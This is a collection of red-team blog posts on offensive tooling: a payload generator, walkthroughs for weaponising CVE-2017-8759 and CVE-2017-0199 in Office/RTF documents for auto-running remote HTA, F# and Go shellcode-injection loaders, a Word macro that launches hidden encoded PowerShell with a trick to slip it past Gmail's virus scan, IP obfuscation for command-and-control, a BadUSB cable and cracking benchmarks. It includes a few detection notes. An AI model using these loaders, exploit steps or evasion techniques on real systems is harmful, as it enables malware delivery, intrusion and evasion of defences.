The onion.cab machine could be logging traffic and would be able to advise the victim organisation as to what hidden service it is connecting to. However, the organisation under attack can also perform SSL inspection to identify the Host header that points to the hidden service address. In a perfect world where Tor is untraceable, the C2 infrastructure’s Internet origin would be difficult to uncover and would require attacks on the C2 communication protocol. The Malleable profile that was used is released on the [MDSec Github](https://github.com/mdsecresearch/Publications/blob/master/tools/redteam/malleable/tor-fronting.profile).

An introduction and proof of concept explanation video can be found below:

{% embed url="<https://youtu.be/I3ovfrqcF0I>" %}

While a full walkthrough of the analysis, debugging and development of the profile can be found below:

{% embed url="<https://youtu.be/OARw7yg0Ypc>" %}

It is also worth noting that during our research several proxies, including the Sophos Web Security gateway that is used in the above demonstrations, did not block the “onion.cab” website using categorisation even on their strictest configurations.

While we would not recommend using Tor on an adversary simulation engagement, this post demonstrates how an adversary may be able to maintain anonymity for their C2 infrastructure using Tor fronting and provides indicators that the blue team can use to detect such behaviour.

This post was written by [@vysecurity](https://twitter.com/vysecurity)


# General Exploitation

Any weaponization of CVE or exploitation related posts.


# Payload Generation with CACTUSTORCH

*Note: posted on June 2017*

*This post was originally published on* [*https://www.mdsec.co.uk/blog/*](https://www.mdsec.co.uk/blog/) *when I was under employment of MDSec Consulting Limited in the United Kingdom. This is mirrored on my own blog for archiving reasons.*

![](/files/-LQ3TS1tlLHkIcKy183V)

CACTUSTORCH is a framework for payload generation that can be used in adversary simulation engagements based on James Forshaw’s [DotNetToJScript](https://github.com/tyranid/DotNetToJScript) tool. This tool allows C# binaries to be bootstrapped inside a payload, providing reliable means to bypass many common defences. Currently CACTUSTORCH supports the following payload types:

* VBS
* VBA
* JS
* JSE
* WSF
* HTA
* VBE

Prior to this, it was not possible to invoke shellcode injection directly from multiple formats with the exclusion of VBA macros (more on this later in the post). CACTUSTORCH has a self-contained C# binary which accepts a binary name and base64 encoded shellcode to inject. Additionally, it borrows concepts from [@armitagehacker](https://twitter.com/armitagehacker) / CobaltStrike’s VBA macro injection whereby it selects the 32 bit executable to inject into.

### State of Current Payloads <a href="#stateofcurrentpayloads" id="stateofcurrentpayloads"></a>

Generation of payloads for the supported formats already exists in several frameworks, including Metasploit and Cobalt Strike. There are however some drawbacks to how these payloads are generated.

In Metasploit framework the following payload formats work as such:

* VBS: File drop and execute — Touches disk.
* HTA-PSH: Runs powershell.exe with a WScript.Shell object — Powershell.exe and WScript.Shell are well known to blue team.
* VBA-EXE: File drop and execute — Touches disk.
* VBA: Shellcode injection by declaring Kernel32 API — Known indicators for Maldoc scanning.
* VBA-PSH: Runs powershell.exe with a Shell object — Powershell.exe is well known to blue team.

In CobaltStrike, the following payload formats work as such:

* VBS: Weakens the target, creates a COM object to Excel, creates worksheet, injects VBA macro code and executes. — Relies on Office being installed and Kernel32 API declarations in injected VBA.
* VBA: Shellcode injection by declaring Kernel32 API — Known indicators for Maldoc scanning.
* HTA-EXE: File drop and execute — Touches disk.
* HTA-PSH: Runs powershell.exe with a WScript.Shell object — Powershell.exe and WScript.Shell are well known to blue team.
* HTA-VBA: Wraps around a VBS that does the weakening, COM object to Excel, macro injection of Kernel32 API declaration VBA code.

### Benefits of CACTUSTORCH <a href="#benefitsofcactustorch" id="benefitsofcactustorch"></a>

CACTUSTORCH offers a number of improvements on current payload generation that are currently beyond the capabilities of the public frameworks:

* Does not use Kernel32 API declarations in the payload
* Obfuscated within the C# binary
* Allows for arbitrary specification of target binary to spawn.
* Allows for arbitrary shellcode to be specified.
* Does not spawn PowerShell.exe.
* Does not require Powershell.
* Does not require Office.
* Does not invoke WScript.Shell.
* Does not require staging as the full stageless shellcode can be contained within the delivered payload.
* No static parent to child spawn, the user can change what wscript.exe spawns.
* exe spawning Powershell.exe is suspicious, spawning rundll32.exe is arguably less indicative of compromise. You can change this to calc.exe, ping.exe /t or similar less suspicious binaries.

### Using CACTUSTORCH <a href="#usingcactustorch" id="usingcactustorch"></a>

Using CACTUSTORCH is relatively straight forward, the following outlines the steps required to generate a custom payload:

* Select the payload format you want to use from the cloned directory
* Select a binary container you want to inject into, has to exist in both SYSWOW64 and SYSTEM32
* Generate raw shellcode for your listener
* $> cat payload.bin | base64 -w 0 > out.txt
* Copy the out.txt base64 raw payload into the “code” variable of the template

1. If doing it for the VBA, run the out.txt through vbasplit.py out.txt split.txt
2. Then copy the split.txt into the code section highlighted in the VBA template. Payload is ready
3. Do obfuscation if you want

A video demonstrating these steps is shown below:

{% embed url="<https://youtu.be/YiaKb8nHFSY>" %}

### Integration with Cobalt Strike <a href="#integrationwithcobaltstrike" id="integrationwithcobaltstrike"></a>

As part of the process for streamlining adversary simulation engagements so that more time can be placed into creating more sophisticated and bespoke attacks, Vincent has created a CACTUSTORCH aggressor script to facilitate this.

After loading the aggressor script, the following menu is presented as an option under the “Attack” tab. You can now select the payloads you want to use and options, it will generate the payload and host it for you. In terms of the VBA code, it will be presented in a textbox where it can be copied from and pasted into a Word VBA Macro.

![](/files/-LQ3TWRoR-8nSxnsC5sQ)

The aggressor script is demonstrated in the following video:

{% embed url="<https://youtu.be/_pwH6a-6yAQ>" %}

### Credits <a href="#credits" id="credits"></a>

The scripts, proof of concepts and aggressor script addon is created by Vincent Yiu. We would like to also thank the following people for their contributions:

* [@tiraniddo](https://twitter.com/tiraniddo): James Forshaw for DotNet2Jscript
* [@cn33liz](https://twitter.com/cn33liz): Inspiration with StarFighters
* [@armitagehacker](https://twitter.com/armitagehacker): Raphael Mudge for idea of selecting 32 bit version on 64 bit architecture machines for injection into
* [@\_RastaMouse](https://twitter.com/_RastaMouse): Testing and giving recommendations around README

CACTUSTORCH can be downloaded from my [GitHub](https://github.com/vysec/CACTUSTORCH) page.


# Exploiting CVE-2017–8759: SOAP WSDL Parser Code Injection

*Note: this was posted back in 2017 and was the first post and release of fully weaponised code*

*This post was originally published on* [*https://www.mdsec.co.uk/blog/*](https://www.mdsec.co.uk/blog/) *when I was under employment of MDSec Consulting Limited in the United Kingdom. This is mirrored on my own blog for archiving reasons.*

### Introduction <a href="#introduction" id="introduction"></a>

CVE-2017–8759, the vulnerability recently discovered by FireEye as being exploited in the wild is a code injection vulnerability that occurs in the .NET framework when parsing a WSDL using the SOAP moniker. An overview of the vulnerability can be found in [this](https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html) post by FireEye and is recommended as pre-requisite reading.

This vulnerability was of particular interest to the Vincent as its weaponisation could be leveraged during our Adversary Simulation exercises. This post serves as a walk through on how to exploit this vulnerability without user interaction in the RTF file format.

### Tutorial <a href="#tutorial" id="tutorial"></a>

Firstly, create a new RTF document with a new OLE object using the steps similar to as described in our [post on CVE-2017–0199](https://vincentyiu.co.uk/exploiting-cve-2017-0199-hta-handler-vulnerability/).

![](/files/-LQ3TyDVYC6UUKtcL88e)

Next, save the file as an RTF then reopen it using a hex editor and locate the “objdata” parameter to identify where the OLE blob is. When the parameter is located, add the “\objupdate” directive in a similar way to as described in our CVE-2017–0199 post.

Once this is complete, retrieve the “blob.bin” OLE blob from this [GitHub](https://github.com/vysec/CVE-2017-8759) repository, open it in a hex editor and update the URL of the WSDL file which contains the code injection. This OLE blob should now be used to replace the one in the existing RTF document.

At this point, on opening the RTF document the exploit should execute the HTA file pointed to in the WSDL, without user interaction.

An end to end video walk through of exploiting this vulnerability is shown below:

{% embed url="<https://youtu.be/hlkx5uYBT1Y>" %}

Happy hacking!


# Exploiting CVE-2017–0199: HTA Handler Vulnerability

*Note: this was posted in April 2017 and was the first public post describing how to weaponise the vulnerability in contrast to the many posts at the time detailing its discovery from a defense perspective*

*This post was originally published on* [*https://www.mdsec.co.uk/blog/*](https://www.mdsec.co.uk/blog/) *when I was under employment of MDSec Consulting Limited in the United Kingdom. This is mirrored on my own blog for archiving reasons.*

![](/files/-LQ3Su-qQV2Ugn6UYhr6)

FireEye recently [documented](https://www.fireeye.com/blog/threat-research/2017/04/acknowledgement_ofa.html) attacks of a 0-day vulnerability in the Windows HTA handler being exploited in the wild using Office RTF documents. The vulnerability later became referenced as CVE-2017–0199 and addressed in the April 2017 [Microsoft Update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199). Neither the sample or any specific information were released on how to reproduce the vulnerability, however it was particularly interesting to the team because it was capable of bypassing known exploit mitigations such as EMET.

This blog post describes how to exploit this issue ***without user interaction*** based on our research; the technique discussed may differ from that used by the threat actors. It is also important to stress that the issue is not just restricted to RTF documents, we have successfully exploited this using other Office document types also.

### Exploitation Steps <a href="#exploitationsteps" id="exploitationsteps"></a>

While the technical steps to reproduce the issue as described by FireEye are sparse, the article contains several hints; firstly that the issue occurs using an OLE2 embedded link object, secondly while handling a HTA file.

To embed an OLE2 link object in to a document, open Microsoft Word and click on the insert object button as shown in the screenshot below:

![](/files/-LQ3SwX5wTFSMOIxQmaJ)

Select Create From File, insert the URL to the HTA file and tick both Link to file and Display as Icon.

Save the document as a DOCX, DOC or RTF file; all of which handle OLE2 link objects.

At this point, some social engineering is required to get the user to run the payload as they must double click the icon for the OLE object. However, no warnings or run prompts are displayed should the user do this, as can be seen below:

![](/files/-LQ3T3M_W_fVVMgdoRCv)

However, the icon and text may look somewhat suspicious to the educated user; it is therefore possible to improve the campaign by replacing the icon and filename and rendering the object in Word. This can be achieved by not selecting the “Display as Icon” check box and serve the document content-type as application/rtf or application/doc:

![](/files/-LQ3T56N0V7O8rd4goZZ)

This causes the HTA to be rendered as follows:

![](/files/-LQ3T6z9XIOijIkVx0bp)

However, user interaction is still required and the user must double click on the “hello” text this time or save the file to force the document to perform the connection to update the content and display it.

However, FireEye’s description does not explicitly state that user interaction is required and hints that the payload should automatically run when the document is opened. Research by the [ActiveBreach](https://www.mdsec.co.uk/services/red-teaming/) team discovered how this can be achieved. Delving further in to the [RTF RFC](http://www.biblioscape.com/rtf15_spec.htm) the “*\objupdate*” control was discovered:

![](/files/-LQ3T8CEBK7cmWz39Gdv)

The description for this control is particularly interesting as it implies the object will update before displaying itself:

![](/files/-LQ3T9x356JMN9Fr6bFC)

As such, it should be possible to create a document containing an \objupdate control that will ultimately force it to update on start up. This can be achieved by taking the previously created document and modifying it in a text editor:

Original:

```
*{\object\objautlink \rsltpict\objw9027\objh450{\*\objclass Word.Document.8}{\*\objdata*
```

Document with injected \objupdate control:

```
*{\object\objautlink**\objupdate**\rsltpict\objw9027\objh450{\*\objclass Word.Document.8}{\*\objdata*
```

Opening the RTF file now causes the hosted HTA file to run without user interaction:

GIF: <https://www.mdsec.co.uk/wp-content/uploads/2017/04/sploit.gif>

It’s also worth noting that our research shows that if the user does not have Microsoft Office installed, the issue can still be exploited in WordPad however interaction is required.

### Detection and Response <a href="#detectionandresponse" id="detectionandresponse"></a>

A number of Yara rules have been released by the response community to detect this issue. In many cases these are somewhat inaccurate and may generate false positives as they rely on detection based on an RTF document containing an OLE2Link object. This does not necessarily imply malicious behaviour and may be a legitimately embedded object.

To effectively detect CVE-2017–0199, Yara rules should add a condition to identify the *\objupdate* control.

This blog post was written by [Vincent Yiu](https://twitter.com/vysecurity).

We would also like to thank [Etienne Stalmans](https://twitter.com/_staaldraad) for providing guidance on this issue.


# F# Shellcode Execution

I decided to go ahead and try to execute shellcode from F# by generating an EXE. It currently gets 1/66 on VT, with CrowdStrike Falcon detecting it using heuristics potentially due to PInvoke.

Code repository: <https://github.com/vysecurity/FSharp-Shellcode>

F# Code:

```
open System.Runtime.InteropServices
open System.Threading

[<DllImport "kernel32" >]
extern nativeint VirtualAlloc(
  nativeint         lpStartAddress,
  uint32            dwSize, 
  uint32            flAllocationType, 
  uint32         flProtect)

[<DllImport "kernel32" >]
extern nativeint CreateThread(
  uint32         lpThreadAttributes,
  uint32            dwStackSize, 
  nativeint            lpStartAddress, 
  uint32&         param,
  uint32         dwCreationFlags,
  uint32&         lpThreadId)

[<DllImport "kernel32" >]
extern nativeint WaitForSingleObject(
  nativeint         hHandle,
  uint32         dwMilliseconds)

  
let mutable threadId : uint32 = (uint32)0
let mutable pInfo : uint32 = (uint32)0
let mutable shellcode : byte[] = [|0xfcuy;0xe8uy;0x89uy;|]

let address = VirtualAlloc((nativeint)0, (uint32)shellcode.Length, (uint32)0x1000, (uint32)0x40)

Marshal.Copy(shellcode, 0, address, shellcode.Length)
let hThread = CreateThread((uint32)0,(uint32)0, address, &pInfo, (uint32)0, &threadId)
WaitForSingleObject(hThread, (uint32)0xFFFFFFFF) |> ignore
```

This is potentially a decent language to turn to if we need an EXE on disk after Golang gets signatured more in the near future. If you're interested in using Golang instead, [@evilsocket](https://twitter.com/evilsocket) had posted this snippet before on Twitter: <https://play.golang.org/p/AeOelp76n6>

```
//
// As the shellcode is 32 bit, this must also be compiled as a 32 bit go application
// via "set GOARCH=386"

package main

import (
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func main() {
	var shellcode string = "\x31\xc9\x64\x8b\x41"

	// Make a function ptr
	f := func() {}

	// Change permsissions on f function ptr
	var oldfperms uint32
	if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
		panic("Call to VirtualProtect failed!")
	}

	// Override function ptr
	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&shellcode))

	// Change permsissions on shellcode string data
	var oldshellcodeperms uint32
	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&shellcode))), uintptr(len(shellcode)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
		panic("Call to VirtualProtect failed!")
	}

	// Call the function ptr it
	f()
}
```

This blog post serves as a means for me to keep note of useful snippets, as well as to share with the community. I couldn't find any snippets readily available to do this whilst searching Google so I thought I'd share.


# Bypassing Gmail Attachment Virus Check

Bypass Gmail's Attachment Virus Check for PowerShell Macros

*Note: This was posted in January 2016*

So today whilst doing some practice on creating trojanised Microsoft Word documents, I came across an issue. Gmail by default has a virus check on attachments if you want to send a malicious attachment out.

To insert a payload into the word document, I firstly created a template which looked like the below.

![](/files/-LQ2vn-fZR-TSP3JlIVz)

After doing so, creating the macro using AutoOpen and Document\_Open was trivial. I made use of a powershell one liner payload along with process creation to launch powershell using an encrypted Payload. Using Powershell Empire’s default copy and paste macro stager, this is detected.

Sample payload:

```
*Sub AutoOpen()
Debugging
End Sub*
*Sub Document_Open()
Debugging
End Sub*
*Public Function Debugging() As Variant
Dim Str As String
str = “powershell.exe -NoP -NonI -W Hidden -Enc JAB3AGMAP”
str = str + “QBOAGUAVwAtAE8AYgBKAGUAQwB0ACAAUwB5AFMAVABlAE0ALgB”*
*<snip to save space and sensitivity>*
*str = str + “ATwBJAG4AJwAnACkA”
Const HIDDEN_WINDOW = 0
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:\\” & strComputer & “\root\cimv2″)
Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(“winmgmts:\\” & strComputer & “\root\cimv2:Win32_Process”)
objProcess.Create str, Null, objConfig, intProcessID
End Function*
```

What I did was begin removing lines of code and kept uploading repeatedly to Gmail attachments until it would no longer detect it as a virus.

I made adjustments to the payload trying to identify which string or pattern the AV was picking up. I quickly realised that it was the fact that the “-Enc” was part of the payload.

To resolve this, I split the “-Enc” string into “-E” and “nc” then concatenated it together. For example:

```
*Dim Yops As String*
*Yops = “powershell.exe -Enc PAYLOADHERE”*
```

This would be translated to the following:

```
*Dim Yops As String*
*Yops = “powershell.exe -E”*
*Yops = Yops + “nc PAYLOADHERE”*
```

However, this technique did not work. My next approach to thinking about it was that the “Yops” string is checked at the end after all the concatenation to determine whether “-Enc” is followed by “powershell.exe”. Therefore what I did was the following and it bypassed the virus checks.

```
*Dim Yops As String*
*Yops = “powershell.exe -E”*
*Yolo = “nc PAYLOAD”*
*Yops = Yops + Yolo + “HERE”*
```

This quickly bypassed the antivirus feature on Gmail’s attachments and I was able to send the payload to my other machine for testing.


# IPFuscation

{% hint style="warning" %}
Images are broken. I will fix when I have time.
{% endhint %}

## What the... <a href="#whatthe" id="whatthe"></a>

IPFuscation is a technique that allows for IP addresses to be represented in hexadecimal, octal, or a combination, instead of the decimal encoding that we are used to.

## What can we do? <a href="#whatcanwedo" id="whatcanwedo"></a>

Normal:\
`ping 45.54.123.21`

Hexadecimal + Decimal + Octal:\
`ping 0x2d.54.123.025`

Hexadecimal:\
`ping 0x2d367b15`

Hexadecimal with period symbol:\
`ping 0x2d.0x36.0x7b.0x15`

Hexadecimal with 0 padding:\
`ping 0x0000000002d.0x00000000036.0x00000007b.0x0000000015`

Decimal:\
`ping 758545173`

Octal:\
`ping 05515475425`

Octal with period symbol:\
`ping 055.066.0173.025`

Octal with 0 padding:\
`ping 000000055.000066.000000173.0000000025`

As we can see there's a bunch of ways you can ping the same IP. For a moment, I wondered if this was just how Ping worked. However, given that this works with `OpenURL`, I decided to try it with Cobalt Strike!

## GitHub <a href="#github" id="github"></a>

I wrote a script that automatically outputs a set of known formats for the same IP address that you specify. Hopefully will be useful for some people!

<https://github.com/vysecurity/IPFuscator>

### Usage <a href="#usage" id="usage"></a>

```
python .\ipfuscator.py 127.0.0.1
IPFuscator
Author: Vincent Yiu (@vysecurity)
https://www.github.com/vysec/IPFuscator
Version: 0.1.0

IP Address:     127.0.0.1

Decimal:        2130706433
Hexadecimal:    0x7f000001
Octal:          017700000001

Full Hex:       0x7f.0x0.0x0.0x1
Full Oct:       0177.0.0.01

Random Padding:
Hex:    0x000000000000000007f.0x00000000000000000000.0x0000000000000000000.0x0000000000000000000001
Oct:    0000000000000000000000000177.000000000000000.0000000000000000000000.0000000000000000000000000000001
Random base:
#1:     0x7f.0x0.0.1
#2:     127.0.0x0.0x1
#3:     0177.0x0.0.1
#4:     0x7f.0.0.1
#5:     127.0x0.0x0.1

Random base with random padding:
#1:     0x0000000007f.0.0000000000.00000000000001
#2:     0x000000000007f.0x0000000000000000000000.0x00000000000000.0x00000000001
#3:     00000000000000000000000177.0x00000000.000000000000000.00000000000000000000000001
#4:     000000000000000177.0.0.1
#5:     127.0000000000000000000000.00000000000000.0x0000000000001
```

## Cobalt Strike <a href="#cobaltstrike" id="cobaltstrike"></a>

Although I rarely use IP addresses compared to hostnames when it comes to connecting to resources, we know for a fact that many threat actors do. In some cases you may want to resort to using IP addresses and this technique can add a bit of flavor to the mix.

To use this technique in Cobalt Strike, you simply create a listener like you normally would. Let's say my IP was `45.54.123.21`, run IPFuscator as shown below:

![ConEmu64\_2018-05-19\_19-48-55](https://vincentyiu.co.uk/content/images/2018/05/ConEmu64_2018-05-19_19-48-55.png)

You can immediately take this information and use any of these representations in your listener address. For example:\
![javaw\_2018-05-19\_19-50-52](https://vincentyiu.co.uk/content/images/2018/05/javaw_2018-05-19_19-50-52.png)

![javaw\_2018-05-19\_19-51-36](https://vincentyiu.co.uk/content/images/2018/05/javaw_2018-05-19_19-51-36.png)

Generate a payload as you would normally, and it all works fantastically!

You could even mix it up a bit:

![javaw\_2018-05-19\_20-02-44](https://vincentyiu.co.uk/content/images/2018/05/javaw_2018-05-19_20-02-44.png)

## Cobalt Strike Aggressor Script <a href="#cobaltstrikeaggressorscript" id="cobaltstrikeaggressorscript"></a>

I actually wrote a Cobalt Strike Aggressor Script to automatically convert an IP that you can issue with the `ping` command that will convert and use ping with a hexadecimal equivalent IP. If you want to use this you can obtain this script in my [Aggressor repository](https://github.com/vysec/Aggressor-VYSEC/blob/master/ping.cna). This was released back in 2017.

## Conclusion <a href="#conclusion" id="conclusion"></a>

IPFuscation is not an advanced technique. However, it can be used to:

1. potentially break regex rules for command line logging looking for IP addresses. Eg. when you issue a command such as `ping 0055.0x0036.000173.0x0015`
2. obfuscate previously unobfuscated / unencrypted cleartext strings to C2 locations within the payload

According to inphosys on Reddit, the proxy sees the regular decimal IP address notation:

![chrome\_2018-05-19\_21-00-19](https://vincentyiu.co.uk/content/images/2018/05/chrome_2018-05-19_21-00-19.png)

To keep it simple, make the use of IPs cool again! :)


# Hardware and Gadgets

Posts related to hardware and hacking gadgets.


# USBNinja

TLDR; A bunch of hackers went and created a BadUSB, in cable form, where charging of the phone works.

## Introduction <a href="#introduction" id="introduction"></a>

As Red Teamers we are always looking for means to compromise machines. Karsten Nohl had released his research on BadUSB: <https://threatpost.com/badusb-patch-skirts-more-effective-options/108775/>

Looking around, there was soon devices such as Hak5's RubberDucky\[1] and BashBunny which were created to emulate a Human Interface Device (HID). Essentially these were programmable USB drives that would simulate a keyboard, or mouse, and enter keystrokes into the target machine it's plugged into.

The most common form of this attack is whereby the attacker plugs in a USB physically into an unlocked machine and the device will input the necessary keyboard shortcuts and keystrokes to execute a malware implant. On Windows this could be `Windows Key + R` to trigger the Run prompt, then typing in a command to fetch and execute a payload. On Mac it could be launching Terminal then typing in a payload.

## Masquerade <a href="#masquerade" id="masquerade"></a>

We've always known that users cannot be trusted. Social Engineering has proven this greatly over the years with it being at the root cause of many breaches. In my opinion the RubberDucky, the BadUSB, just looks too suspicious. Many users are now being made aware that USBs are bad, and we shouldn't just plug them in.

We set out to make a different device, one that is more covert and can masquerade as a legitimate day-to-day device.

## USBNinja <a href="#usbninja" id="usbninja"></a>

My friends have worked closely with our Red Team expertise and practical experience to craft a new device known as the USBNinja. The USBNinja can come in many forms, the one that we will show you in this blog post is the USB charging cable. We've got other options such as conference dongles, USB fans\[2], and more.

![](https://vincentyiu.co.uk/content/images/2018/08/WeChat-Image_20180817213230.jpg)

Of course, images don't really demonstrate capabilities as all you can see is cable. We've uploaded a quick demonstration video to YouTube:

{% embed url="<https://youtu.be/6mDspyi5ROw>" %}

## Conclusion <a href="#conclusion" id="conclusion"></a>

I've spoken to people at different labs who have had hardware expertise. Some also attempted the same project, but were not able to make the cable charge for whatever reason. My team of friends have managed to weaponize this capability to make a fully working USB cable also a compatible HID device.

Next-generation are coming with hidden contraptions using triggers such as Magnets for physical mode switching, or even Bluetooth for arbitrary on the fly execution from a distance. These are under progress as we speak.

## Credits <a href="#credits" id="credits"></a>

Vincent Yiu - Blog post, software, weaponization\
Olaf Tan - ProxGrind\
Dennis Goh - RFID Research Group\
Kevin Mitnick - Mitnick Security Consulting

![](https://vincentyiu.co.uk/content/images/2018/07/qr.png)

## References <a href="#references" id="references"></a>

\[1]: <https://hakshop.com/products/usb-rubber-ducky-deluxe>\
\[2]: <https://www.washingtonpost.com/technology/2018/07/03/what-was-usb-fan-given-trump-kim-summit-security-experts-say-nothing-but-dont-plug-it/?noredirect=on&utm_term=.e0362077a5d0>


# Aorus Gaming Box for Password Cracking

## Introduction <a href="#introduction" id="introduction"></a>

The Aorus Gaming box is an external GPU (eGPU) that is light-weight and you can carry it around with you on different penetration tests. Let's take for example you might have a client who does not want you to take any data off-site (for obvious reasons), or you do not have Internet access in a data center. This could prove to be a useful item to have.

Aorus Gaming Box 1080\
[JD.com](https://item.jd.com/5625992.html)\
[Joybuy](https://www.joybuy.com/600241214.html)\
[Amazon UK](https://www.amazon.co.uk/GIGABYTE-Nvidia-Gaming-External-Graphics/dp/B076XVLWHM/ref=sr_1_1?ie=UTF8\&qid=1530860504\&sr=8-1\&keywords=aorus+gaming+box+1080)\
[Amazon US](https://www.amazon.com/Gigabyte-Aorus-Gaming-Graphic-GV-N1080IXEB-8GD/dp/B076PZ6PRK/ref=sr_1_1?ie=UTF8\&qid=1530860588\&sr=8-1\&keywords=Aorus+gaming+box+1080\&dpID=516Ee5QZlDL\&preST=_SY300_QL70_\&dpSrc=srch)

The Gaming Box can come with various cards. I recommend going straight for the 1080 as there's not much difference to using an internal card if you go for anything less. I'm using an XPS 9560, fully decked out with 32 GB ram as the host.

![](/files/-LP7T1Fxq1xVEPPdj-xw)

It even comes with a carrying bag! A power supply and Thunderbolt to Thunderbolt cable is also provided.

## Benchmarks <a href="#benchmarks" id="benchmarks"></a>

Performing a Hashcat 4.1.0 benchmark, we get the following results:

```
Hashmode: 0 - MD5
Speed.Dev.#3.....: 26126.4 MH/s (50.49ms) @ Accel:64 Loops:1024 Thr:1024 Vec:4

Hashmode: 100 - SHA1
Speed.Dev.#3.....:  8653.6 MH/s (95.55ms) @ Accel:128 Loops:512 Thr:640 Vec:1

Hashmode: 1400 - SHA-256
Speed.Dev.#3.....:  3219.8 MH/s (51.40ms) @ Accel:64 Loops:128 Thr:1024 Vec:1

Hashmode: 1700 - SHA-512
Speed.Dev.#3.....:  1031.8 MH/s (50.18ms) @ Accel:128 Loops:32 Thr:640 Vec:1

Hashmode: 2500 - WPA/WPA2 (Iterations: 4096)
Speed.Dev.#3.....:   420.9 kH/s (96.67ms) @ Accel:64 Loops:128 Thr:1024 Vec:1

Hashmode: 1000 - NTLM
Speed.Dev.#3.....: 43351.2 MH/s (30.26ms) @ Accel:64 Loops:1024 Thr:1024 Vec:2

Hashmode: 3000 - LM
Speed.Dev.#3.....: 20593.5 MH/s (63.85ms) @ Accel:256 Loops:1024 Thr:256 Vec:1

Hashmode: 5500 - NetNTLMv1 / NetNTLMv1+ESS
Speed.Dev.#3.....: 20845.2 MH/s (58.90ms) @ Accel:64 Loops:1024 Thr:1024 Vec:1

Hashmode: 5600 - NetNTLMv2
Speed.Dev.#3.....:  1814.5 MH/s (90.53ms) @ Accel:64 Loops:128 Thr:1024 Vec:1

Hashmode: 1500 - descrypt, DES (Unix), Traditional DES
Speed.Dev.#3.....:   876.2 MH/s (94.12ms) @ Accel:16 Loops:1024 Thr:256 Vec:1

Hashmode: 500 - md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) (Iterations: 1000)
Speed.Dev.#3.....:  9578.0 kH/s (64.60ms) @ Accel:1024 Loops:1000 Thr:32 Vec:1

Hashmode: 3200 - bcrypt $2*$, Blowfish (Unix) (Iterations: 32)
Speed.Dev.#3.....:    14339 H/s (43.11ms) @ Accel:16 Loops:8 Thr:8 Vec:1

Hashmode: 1800 - sha512crypt $6$, SHA512 (Unix) (Iterations: 5000)
Speed.Dev.#3.....:   142.0 kH/s (56.71ms) @ Accel:512 Loops:128 Thr:32 Vec:1

Hashmode: 7500 - Kerberos 5 AS-REQ Pre-Auth etype 23
Speed.Dev.#3.....:   291.8 MH/s (71.09ms) @ Accel:256 Loops:64 Thr:64 Vec:1

Hashmode: 13100 - Kerberos 5 TGS-REP etype 23
Speed.Dev.#3.....:   291.4 MH/s (71.35ms) @ Accel:256 Loops:64 Thr:64 Vec:1

Hashmode: 15300 - DPAPI masterkey file v1 (Iterations: 23999)
Speed.Dev.#3.....:    74021 H/s (92.80ms) @ Accel:64 Loops:128 Thr:1024 Vec:1

Hashmode: 15900 - DPAPI masterkey file v2 (Iterations: 7999)
Speed.Dev.#3.....:    42063 H/s (61.06ms) @ Accel:256 Loops:128 Thr:32 Vec:1

Hashmode: 7100 - macOS v10.8+ (PBKDF2-SHA512) (Iterations: 35000)
Speed.Dev.#3.....:    12721 H/s (92.20ms) @ Accel:128 Loops:32 Thr:512 Vec:1

Hashmode: 11600 - 7-Zip (Iterations: 524288)
Speed.Dev.#3.....:     9708 H/s (97.06ms) @ Accel:128 Loops:256 Thr:768 Vec:1

Hashmode: 12500 - RAR3-hp (Iterations: 262144)
Speed.Dev.#3.....:    31296 H/s (60.90ms) @ Accel:4 Loops:16384 Thr:384 Vec:1

Hashmode: 13000 - RAR5 (Iterations: 32767)
Speed.Dev.#3.....:    36968 H/s (84.72ms) @ Accel:128 Loops:64 Thr:640 Vec:1

Hashmode: 6211 - TrueCrypt PBKDF2-HMAC-RIPEMD160 + XTS 512 bit (Iterations: 2000)
Speed.Dev.#3.....:   284.9 kH/s (71.92ms) @ Accel:64 Loops:32 Thr:1024 Vec:1

Hashmode: 13400 - KeePass 1 (AES/Twofish) and KeePass 2 (AES) (Iterations: 6000)
Speed.Dev.#3.....:   136.2 kH/s (99.67ms) @ Accel:512 Loops:256 Thr:32 Vec:1

Hashmode: 6800 - LastPass + LastPass sniffed (Iterations: 500)
Speed.Dev.#3.....:  2379.4 kH/s (71.95ms) @ Accel:128 Loops:62 Thr:640 Vec:1

Hashmode: 11300 - Bitcoin/Litecoin wallet.dat (Iterations: 199999)
Speed.Dev.#3.....:     4710 H/s (87.73ms) @ Accel:64 Loops:64 Thr:1024 Vec:1
```

## Conclusion <a href="#conclusion" id="conclusion"></a>

Sure, it doesn't beat having 8x 1080s hooked up or your rig of 32. However, when compared to using the internal XPS 15 dedicated graphics card (1050), it runs at approximately 4-5x the speed. If you use an XPS 13, this could potentially be 10x the speed and benefit greatly. You can also share the box with consultants who do not need a dedicated GPU in their machine - who opt for a lightweight machine. It also takes the heat off of your laptop so that it can run safely for longer periods of times. The box is portable so you can even take it on a gig or trip with you.

You can use this with MacBooks too, so if you were to use a 13 inch MacBook, this could be an excellent choice.

I personally use the box to render my YouTube videos and to play games with some occasional cracking.

Aesthetics wise, the box looks pretty neat. I can hook up the book to charge my laptop through Thunderbolt - saving the need to carry around my power supply. The box also outputs to HDMI so you can output to your monitor. I've not done this yet but I will update the post when I do. I'm hoping to get at least 100 Hz on a 34 inch UWQHD 3440x1440 display. It also comes with multiple USB ports so you can use this as a docking station. Ultimately I'll only take my laptop by unplugging it, and my MX Master 2S.


# Proxmark Adventures 101

